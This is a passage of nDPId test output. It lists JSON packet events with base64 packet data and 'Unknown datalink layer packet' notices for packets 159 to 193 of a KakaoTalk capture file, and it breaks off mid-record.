+00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":416083,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/Su+AbE7JiznzGguGVRmP0U1161EzFnS8kFlkBHO\/o\/jem4eJ2heaj67zQfyXeVdw+Z1zLWD3iuSQ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":416266,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/K+OAbE7Kizn22guGVRkFjjGsVdqEhkDdcpDpIZqNKMIDEzIrmQhW7ZNDG5zKiirUbSrayq+oT4+5"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":428900,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/74GAbDFNfqlNQ1Sapdr2BvgIroapsMw9PzxInw4TQGyLd+vhKiiWW6J3Y4ROAlrgQbg5VZPBg+BP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":448920,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/\/bSAbE7IiznvWguGVRlWNwcl5+fn9nY6gN2+FDmnpBNul5bvKxJUsa2BlcxEnJP6ZrpxmC2NLrLf"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00509{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":469611,"pkt_caplen":152,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":152,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIgAAEAAQBHaGgoYUrwByQGuKBxaBgB05piAbDFQfqlYg1SapdrPmz1p+6KD4AD4RAYAs45A22Q5qkL+Tta+EJc\/qWpd9hhyHcLDMwvsDJ3+jBlHg62zsnVL6I2MXQABu6mYQJfEINlGjD9xLujds\/YrBgPjBgbiM3TlVtL22H2LnnbEt1g="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":506690,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAQBHaHgoYUrwByQGuKBxaBgBwhGqAbDFRfqlcQ1SapdpHTNHUZHUPPMc+bZpBBsy5XbALYvwuTZ8p+nmSh8VrK0pAaLj6A+DVYeumfJc8ECfrlgot1qyKHqp1q9mV7eI2Zym1o99wN80IhM\/pEaNVi4MglwykrT\/l1cZNfQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":513159,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/jp2AbE7Lizn6mguGVRngZMFAL\/8Kmk41DxPjNcJ3SDgkjIkPZOopA0pXb0qiuP6vzI4oALtad7Tv"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":513312,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/eXeAbE7Mizn+WguGVRkaMT3JuOYE7xsxAJ6Do9VQn2RiOFdFFyvqDRWlG2\/JmCa+NGBHzQkv042H"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":515784,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJYAAEAAHRH85AHJAa4KGFK8WgQsOACCf4KAbDFOfqlRA1Sapdo1jiBf77t0fnQ3YnWQZ6yroACrFUoDmiVkI9+6pPpArGSbnjx5A4q3Mqajy32YJj9dFu35b\/J5xsgaxqKsKxoK4lGYyehvfGpLO6Vl07MkrrHDwKiTbTsmEEewFBEGLVvh3V5e2luX3EKrlNlZDw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00492{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":535681,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH0AAEAAHRH8\/QHJAa4KGFK8WgQsOABpgHqAbDFPfqlUw1SapdoO2Bp9sjbP7MwdCb8eBYfkEyCWKQBItLTROd789CJkH06pFCpz4jYFndeAInE43l2JTnq+BZnR+gYHSTAtcSm6WL7aKMsf0RWp7yhx6D9d5l1okiK3"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":546332,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAQBHaKgoYUrwByQGuKBxaBgBkIn+AbDFSfqlgA1SapdoLIeqGfZbj2NOQagaf9xs19\/2ZuJqT37Ocz49f13cuXGmx\/\/w96HNhh93Rjvv2HWO9vNWZqsaZvN0hAXNEiODU35R7lefprniq1fo81OEMcQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":548163,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/TwmAbE7JiznzGguGVRmP0U1161EzFnS8kFlkBHO\/o\/jem4eJ2heaj67zQfyXeVdw+Z1zLWD3iuSQ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":563697,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/L\/2AbE7Kizn22guGVRkFjjGsVdqEhkDdcpDpIZqNKMIDEzIrmQhW7ZNDG5zKiirUbSrayq+oT4+5"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00509{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":595801,"pkt_caplen":152,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":152,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIgAAEAAHRH88gHJAa4KGFK8WgQsOAB04n6AbDFQfqlYg1SapdrPmz1p+6KD4AD4RAYAs45A22Q5qkL+Tta+EJc\/qWpd9hhyHcLDMwvsDJ3+jBlHg62zsnVL6I2MXQABu6mYQJfEINlGjD9xLujds\/YrBgPjBgbiM3TlVtL22H2LnnbEt1g="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":609412,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/4O2AbE7NizoCGguGVRnuf\/J4DqJEhQonjwwgA9ATxRJDInaIYps8euHUtRavG7\/SWY4TFEIruOcy"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00504{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":625891,"pkt_caplen":149,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":149,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIUAAEAAQBHaHQoYUrwByQGuKBxaBgBxAHWAbDFTfqljw1SapdqDKVcWathUJo1qzfPtWyXx24owFFcpmkySbIwaYprxXCqwYBLsZu59xtuDncBt4y51Vzq8xek+R48DH\/ZnYSFGXK7FEJvxe5DJiT5BsScvTSY+N1IiOO8PNST76RU="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":635504,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHRH89gHJAa4KGFK8WgQsOABwgFCAbDFRfqlcQ1SapdpHTNHUZHUPPMc+bZpBBsy5XbALYvwuTZ8p+nmSh8VrK0pAaLj6A+DVYeumfJc8ECfrlgot1qyKHqp1q9mV7eI2Zym1o99wN80IhM\/pEaNVi4MglwykrT\/l1cZNfQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":643744,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/kreAbE7Lizn6mguGVRngZMFAL\/8Kmk41DxPjNcJ3SDgkjIkPZOopA0pXb0qiuP6vzI4oALtad7Tv"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":658515,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJIAAEAAQBHaEAoYUrwByQGuKBxaBgB+AoeAbDFUfqlng1SapdqpDQIuUIPeuZnZjgZYRaJ19JWqf6kVT5K7MtTw9t8iZHlu0InBSrb3TO\/fdnBQp\/ulB\/ixaMKs0oA6m7+o4ItFVmTBYYFwIfeP\/uIJCY+1jspvIQ07V6jpdn\/YBGjC2s1+1DK8G4PMeFdT"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":687537,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/fZGAbE7Mizn+WguGVRkaMT3JuOYE7xsxAJ6Do9VQn2RiOFdFFyvqDRWlG2\/JmCa+NGBHzQkv042H"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":695502,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHRH9AgHJAa4KGFK8WgQsOABkHmWAbDFSfqlgA1SapdoLIeqGfZbj2NOQagaf9xs19\/2ZuJqT37Ocz49f13cuXGmx\/\/w96HNhh93Rjvv2HWO9vNWZqsaZvN0hAXNEiODU35R7lefprniq1fo81OEMcQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":707343,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/0wSAbE7OizoF2guGVRnK2+xhsnQCO0Hajeq5qAu6xKLGCUyqa6fSD8d2l1gEnagQWoVQew6XBb2k"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":708686,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/GuiAbE7PizoJmguGVRnl9tMyiQsslTtw8gys8lE4FbPInZXgU4x0Alu9H7p6oXoVI4RPKDYmCh1A"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":737616,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBeLXOAbDFVfqlrQ1SapdpJ7QaXPcXea+vcVpVQIgIw\/fo+405zhSfHeJu\/zpw25NiFe+1VHyJsomhmItoU2BatyLtFbkxsmgIX4WQPlc67tBzPmmAZ7aOAlQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":779578,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/5QeAbE7NizoCGguGVRnuf\/J4DqJEhQonjwwgA9ATxRJDInaIYps8euHUtRavG7\/SWY4TFEIruOcy"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":787512,"pkt_caplen":149,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":149,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIUAAEAAHRH89QHJAa4KGFK8WgQsOABx\/FqAbDFTfqljw1SapdqDKVcWathUJo1qzfPtWyXx24owFFcpmkySbIwaYprxXCqwYBLsZu59xtuDncBt4y51Vzq8xek+R48DH\/ZnYSFGXK7FEJvxe5DJiT5BsScvTSY+N1IiOO8PNST76RU="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":797675,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIEAAEAAQBHaIQoYUrwByQGuKBxaBgBtz+CAbDFWfqlvA1Sapdqb3SzG8FpETOGDowtdZo4Hl6YGIAM+0MQn1R5Lg\/4cFXHSha0oGf1mQuehqcT+oJqVba+AjPUV3vrVNx+JBGnH7YmHcWmlKxmo\/HMEUyFJ8jEM3AD3\/P8Usw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":807288,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/kseAbE7QizoNWguGVRmqjgtzutx1\/GV9A8inDfN6l8bWMqe5J52WKNjKXLUIfg2Qm9NmuDPsu4fC"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":808448,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/4++AbE7RizoRGguGVRlKotIIZr25xPEduBVsjWeppTJ8OypCnjO\/Vv4TKkg4ucKGYxKDfVWtohsD"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00525{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":823523,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJIAAEAAHRH86AHJAa4KGFK8WgQsOAB+\/myAbDFUfqlng1SapdqpDQIuUIPeuZnZjgZYRaJ19JWqf6kVT5K7MtTw9t8iZHlu0InBSrb3TO\/fdnBQp\/ulB\/ixaMKs0oA6m7+o4ItFVmTBYYFwIfeP\/uIJCY+1jspvIQ07V6jpdn\/YBGjC2s1+1DK8G4PMeFdT"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":847541,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/1x6AbE7OizoF2guGVRnK2+xhsnQCO0Hajeq5qAu6xKLGCUyqa6fSD8d2l1gEnagQWoVQew6XBb2k"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00518{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":879340,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAQBHaEwoYUrwByQGuKBxaBgB76VmAbDFXfqlyw1SapdpU4hephpH0P42S9PIoF0w3r+h96chymAqBUTkNReOfPZ4Afe\/oyqB+76Nd1RzDk1CKliQEtgnMKFiUUASKeBCHTeiX+lGwJoYPbIuXaB4wDFEVkzLsdd7mzWdp\/W0L7xG+3xJb\/7TN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":887549,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/HwKAbE7PizoJmguGVRnl9tMyiQsslTtw8gys8lE4FbPInZXgU4x0Alu9H7p6oXoVI4RPKDYmCh1A"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":914008,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/rkCAbE7SizoU2guGVRmrLY5sXYqbQzX\/DN3yne3uJkQul4ubFaPiuyYZHu\/o8GgGsIoR+bx\/Zgrx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":927527,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABeKVmAbDFVfqlrQ1SapdpJ7QaXPcXea+vcVpVQIgIw\/fo+405zhSfHeJu\/zpw25NiFe+1VHyJsomhmItoU2BatyLtFbkxsmgIX4WQPlc67tBzPmmAZ7aOAlQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 